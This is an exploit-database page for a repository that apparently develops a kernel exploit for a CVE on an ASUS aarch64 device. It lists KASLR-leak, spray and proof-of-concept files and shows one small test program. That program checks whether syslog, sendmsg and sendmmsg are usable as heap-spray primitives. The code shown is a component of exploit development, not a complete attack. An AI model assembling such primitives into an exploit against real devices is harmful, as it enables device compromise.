Exploit databaseDownload repository ZIP
GH-c138f49e12cfbda9c38e831e92b126e9
huaguiqi/asus-i005-cve-2026-43499
Sources for CVE-2026-43499
165 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files38
huaguiqi/asus-i005-cve-2026-43499Revision 759f8fe75bb8
- ↑..Parent directory
- leak_kaslr_chain.c
- leak_kaslr_multi.c
- leak_kaslr_multi2.c
- leak_kaslr_multi3.c
- leak_kaslr_v10.c
- leak_kaslr_v11.c
- leak_kaslr_v12.c
- leak_kaslr_v5.c
- leak_kaslr_v6.c
- leak_kaslr_v7.c
- leak_kaslr_v8.c
- leak_kaslr_v9.c
- leak_wcallchain.c
- leak_wstack.c
- leak_wstack2.c
- leak_wstack3.c
- leak_wstack4.c
- leak_wstack_final.c
- leak_wstack_v5.c
- leak_wstack_v6.c
- poc_stage1_reclaim.c
- poc_stage1_single.c
- poc_stage1_v5.c
- poc_stage1_v6.c
- poc_stage1_v7.c
- poc_stage1_v8.c
- poc_stage1_v9.c
- prctl_min.c
- ps_main.c
- ps_min.c
- ps_warm.c
- ps_zero.c
- recon_leak.c
- recon_leak2.c
- sendmmsg_min.c
- spray2_min.c
- stack_spray_min.c
- uname_min.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/legacy/spray2_min.c
C · 3,013 bytes/*
* 候选 2 最小可用性测试:
* syslog - syscall 103 (aarch64)
* sendmsg - syscall 211
* sendmmsg - syscall 269
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#ifndef SYS_syslog
#define SYS_syslog 103
#endif
#ifndef SYS_sendmsg
#define SYS_sendmsg 211
#endif
#ifndef SYS_sendmmsg
#define SYS_sendmmsg 269
#endif
int main(int argc, char **argv)
{
if (argc < 2) { fprintf(stderr, "用法: %s syslog|sendmsg|sendmmsg\n", argv[0]); return 1; }
if (strcmp(argv[1], "syslog") == 0) {
/* syslog(2, buf, len): action 2 = READ_ALL */
char buf[64] = {0};
dprintf(2, "before syslog\n"); fflush(stderr);
long r = syscall(SYS_syslog, 2, buf, sizeof(buf));
dprintf(2, "after syslog ret=%ld errno=%d (%s)\n", r, errno, strerror(errno));
return 0;
}
if (strcmp(argv[1], "sendmsg") == 0) {
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) != 0) { perror("socketpair"); return 1; }
struct {
void *msg_name;
unsigned int msg_namelen;
void *msg_iov;
unsigned long msg_iovlen;
void *msg_control;
unsigned long msg_controllen;
unsigned int msg_flags;
} msg;
char payload[64] = {0x41};
struct { void *base; unsigned long len; } iov;
iov.base = payload; iov.len = sizeof(payload);
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
dprintf(2, "before sendmsg\n"); fflush(stderr);
long r = syscall(SYS_sendmsg, sv[0], &msg, 0);
dprintf(2, "after sendmsg ret=%ld errno=%d (%s)\n", r, errno, strerror(errno));
close(sv[0]); close(sv[1]);
return 0;
}
if (strcmp(argv[1], "sendmmsg") == 0) {
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) != 0) { perror("socketpair"); return 1; }
char payload[64] = {0x41};
struct { void *base; unsigned long len; } iov;
iov.base = payload; iov.len = sizeof(payload);
struct {
void *msg_name;
unsigned int msg_namelen;
void *msg_iov;
unsigned long msg_iovlen;
void *msg_control;
unsigned long msg_controllen;
unsigned int msg_flags;
} msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
struct { void *msg_hdr; unsigned int msg_len; } mmsghdr;
mmsghdr.msg_hdr = &msg;
mmsghdr.msg_len = 0;
dprintf(2, "before sendmmsg\n"); fflush(stderr);
long r = syscall(SYS_sendmmsg, sv[0], &mmsghdr, 1, 0);
dprintf(2, "after sendmmsg ret=%ld errno=%d (%s)\n", r, errno, strerror(errno));
close(sv[0]); close(sv[1]);
return 0;
}
fprintf(stderr, "未知: %s\n", argv[1]);
return 1;
}